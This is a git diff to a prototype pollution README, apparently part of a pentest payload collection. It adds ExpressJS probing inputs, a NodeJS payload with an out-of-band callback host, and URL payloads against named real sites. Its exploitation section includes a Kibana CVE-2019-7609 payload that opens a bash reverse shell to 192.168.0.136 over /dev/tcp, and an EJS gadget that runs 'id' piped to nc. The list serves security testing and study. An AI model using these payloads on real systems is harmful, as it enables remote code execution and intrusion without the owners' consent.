diff --git a/Prototype Pollution/README.md b/Prototype Pollution/README.md
index b72a4db..5770e1b 100644
--- a/Prototype Pollution/README.md	
+++ b/Prototype Pollution/README.md	
@@ -9,26 +9,45 @@
 * [Labs](#labs)
 * [Exploit](#exploit)
     * [Examples](#examples)
-    * [Prototype pollution via JSON input](#prototype-pollution-via-json-input)
-    * [Prototype pollution payloads](#prototype-pollution-payloads)
+    * [Manual Testing](#manual-testing)
+    * [Prototype Pollution via JSON input](#prototype-pollution-via-json-input)
+    * [Prototype Pollution in URL](#prototype-pollution-in-url)
+    * [Prototype Pollution Payloads](#prototype-pollution-payloads)
+    * [Prototype Pollution Gadgets](#prototype-pollution-gadgets)
 * [References](#references)
 
 
 ## Tools
 
 * [yeswehack/pp-finder](https://github.com/yeswehack/pp-finder) - Help you find gadget for prototype pollution exploitation
-
+* [yuske/silent-spring](https://github.com/yuske/silent-spring) - Prototype Pollution Leads to Remote Code Execution in Node.js
+* [yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution) - Server-Side Prototype Pollution gadgets in Node.js core code and 3rd party NPM packages
+* [BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution) - Prototype Pollution and useful Script Gadgets
+* [portswigger/server-side-prototype-pollution](https://github.com/portswigger/server-side-prototype-pollution) - Burp Suite Extension detectiong Prototype Pollution vulnerabilities
+* [msrkp/PPScan](https://github.com/msrkp/PPScan)
 
 ## Labs
 
 * [YesWeHack Dojo - Prototype Pollution](https://dojo-yeswehack.com/XSS/Training/Prototype-Pollution)
-* [PortSwigger - Prototype pollution](https://portswigger.net/web-security/all-labs#prototype-pollution)
+* [PortSwigger - Prototype Pollution](https://portswigger.net/web-security/all-labs#prototype-pollution)
 
 
 ## Exploit
 
 In JavaScript, prototypes are what allow objects to inherit features from other objects. If an attacker is able to add or modify properties of `Object.prototype`, they can essentially affect all objects that inherit from that prototype, potentially leading to various kinds of security risks.
 
+```js
+var myDog = new Dog();
+
+// Points to the function "Dog"
+myDog.constructor;
+
+// Points to the class definition of "Dog"
+myDog.constructor.prototype;
+myDog.__proto__;
+myDog["__proto__"];
+```
+
 
 ### Examples
 
@@ -44,9 +63,21 @@ In JavaScript, prototypes are what allow objects to inherit features from other
     ```
 
 
-### Prototype pollution via JSON input
+### Manual Testing
+
+* ExpressJS: `{ "__proto__":{"parameterLimit":1}}` + 2 parameters in GET request, at least 1 must be reflected in the response.
+* ExpressJS: `{ "__proto__":{"ignoreQueryPrefix":true}}` + `??foo=bar`
+* ExpressJS: `{ "__proto__":{"allowDots":true}}` + `?foo.bar=baz`
+* Change the padding of a JSON response: `{ "__proto__":{"json spaces":" "}}` + `{"foo":"bar"}`, the server should return `{"foo": "bar"}`
+* Modify CORS header responses: `{ "__proto__":{"exposedHeaders":["foo"]}}`, the server should return the header `Access-Control-Expose-Headers`.
+* Change the status code: `{ "__proto__":{"status":510}}`
+
+
+### Prototype Pollution via JSON input
+
+You can access the prototype of any object via the magic property `__proto__`. 
+The `JSON.parse()` function in JavaScript is used to parse a JSON string and convert it into a JavaScript object. Typically it is a sink function where prototype pollution can happen.
 
-You can access the prototype of any object via the magic property `__proto__`.
 
 ```js
 {
@@ -56,8 +87,56 @@ You can access the prototype of any object via the magic property `__proto__`.
 }
 ```
 
+Asynchronous payload for NodeJS.
 
-### Prototype pollution payloads
+```js
+{
+  "__proto__": {
+    "argv0":"node",
+    "shell":"node",
+    "NODE_OPTIONS":"--inspect=payload\"\".oastify\"\".com"
+  }
+}
+```
+
+
+### Prototype Pollution in URL
+
+Example of Prototype Pollution payloads found in the wild.
+
+```ps1
+https://victim.com/#a=b&__proto__[admin]=1
+https://example.com/#__proto__[xxx]=alert(1)
+http://server/servicedesk/customer/user/signup?__proto__.preventDefault.__proto__.handleObj.__proto__.delegateTarget=%3Cimg/src/onerror=alert(1)%3E
+https://www.apple.com/shop/buy-watch/apple-watch?__proto__[src]=image&__proto__[onerror]=alert(1)
+https://www.apple.com/shop/buy-watch/apple-watch?a[constructor][prototype]=image&a[constructor][prototype][onerror]=alert(1)
+```
+
+
+### Prototype Pollution Exploitation
+
+Depending if the prototype pollution is executed client (CSPP) or server side (SSPP), the impact will vary.
+
+* Remote Command Execution: [RCE in Kibana (CVE-2019-7609)](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
+    ```js
+    .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
+    .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
+    ```
+* Remote Command Execution: [RCE using EJS gadgets](https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce)
+    ```js
+    {
+        "__proto__": {
+            "client": 1,
+            "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
+        }
+    }
+    ```
+* Reflected XSS: [Reflected XSS on www.hackerone.com via Wistia embed code - #986386](https://hackerone.com/reports/986386)
+* Client-side bypass: [Prototype pollution – and bypassing client-side HTML sanitizers](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)
+* Deny of Service
+
+
+### Prototype Pollution Payloads
 
 ```js
 Object.__proto__["evilProperty"]="evilPayload"
@@ -65,14 +144,36 @@ Object.__proto__.evilProperty="evilPayload"
 Object.constructor.prototype.evilProperty="evilPayload"
 Object.constructor["prototype"]["evilProperty"]="evilPayload"
 {"__proto__": {"evilProperty": "evilPayload"}}
+{"__proto__.name":"test"}
+x[__proto__][abaeead] = abaeead
+x.__proto__.edcbcab = edcbcab
+__proto__[eedffcb] = eedffcb
+__proto__.baaebfc = baaebfc
+?__proto__[test]=test
 ```
 
 
+### Prototype Pollution Gadgets
+
+A "gadget" in the context of vulnerabilities typically refers to a piece of code or functionality that can be exploited or leveraged during an attack. When we talk about a "prototype pollution gadget," we're referring to a specific code path, function, or feature of an application that is susceptible to or can be exploited through a prototype pollution attack.
+
+Either create your own gadget using part of the source with [yeswehack/pp-finder](https://github.com/yeswehack/pp-finder), or try to use already discovered gadgets [yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution) / [BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution).
+
+
 ## References
 
-* [Server side prototype pollution, how to detect and exploit - YesWeHack](https://blog.yeswehack.com/talent-development/server-side-prototype-pollution-how-to-detect-and-exploit/)
-* [Prototype Pollution and Where to Find Them - BitK & SakiiR - AUGUST 14, 2023](https://youtu.be/mwpH9DF_RDA)
-* [Prototype Pollution - PortSwigger](https://portswigger.net/web-security/prototype-pollution)
 * [A Pentester’s Guide to Prototype Pollution Attacks - HARSH BOTHRA - JAN 2, 2023](https://www.cobalt.io/blog/a-pentesters-guide-to-prototype-pollution-attacks)
+* [A tale of making internet pollution free - Exploiting Client-Side Prototype Pollution in the wild - s1r1us](https://blog.s1r1us.ninja/research/PP)
+* [Detecting Server-Side Prototype Pollution - Daniel Thatcher - February 15, 2023](https://www.intruder.io/research/server-side-prototype-pollution)
+* [Exploiting prototype pollution – RCE in Kibana (CVE-2019-7609) - MICHAŁ BENTKOWSKI - October 30, 2019](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
+* [NodeJS - __proto__ & prototype Pollution - HackTricks](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution)
+* [Prototype Pollution - PortSwigger](https://portswigger.net/web-security/prototype-pollution)
 * [Prototype pollution - Snyk](https://learn.snyk.io/lessons/prototype-pollution/javascript/)
-* [NodeJS - __proto__ & prototype Pollution - HackTricks](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution)
\ No newline at end of file
+* [Prototype pollution and bypassing client-side HTML sanitizers - MICHAŁ BENTKOWSKI - August 18, 2020](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)
+* [Prototype Pollution and Where to Find Them - BitK & SakiiR - AUGUST 14, 2023](https://youtu.be/mwpH9DF_RDA)
+* [Prototype Pollution Attack in NodeJS - Olivier Arteau](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)
+* [Prototype pollution attacks in NodeJS applications - Olivier Arteau - Youtube](https://youtu.be/LUsiFV3dsK8)
+* [Prototype Pollution Leads to RCE: Gadgets Everywhere - Mikhail Shcherbakov](https://youtu.be/v5dq80S1WF4)
+* [Server side prototype pollution, how to detect and exploit - YesWeHack](https://blog.yeswehack.com/talent-development/server-side-prototype-pollution-how-to-detect-and-exploit/)
+* [Server-side prototype pollution: Black-box detection without the DoS - Gareth Heyes - 15 February 2023](https://portswigger.net/research/server-side-prototype-pollution)
+* [Keynote | Server Side Prototype Pollution: Blackbox Detection Without The DoS - Gareth Heyes](https://youtu.be/LD-KcuKM_0M)
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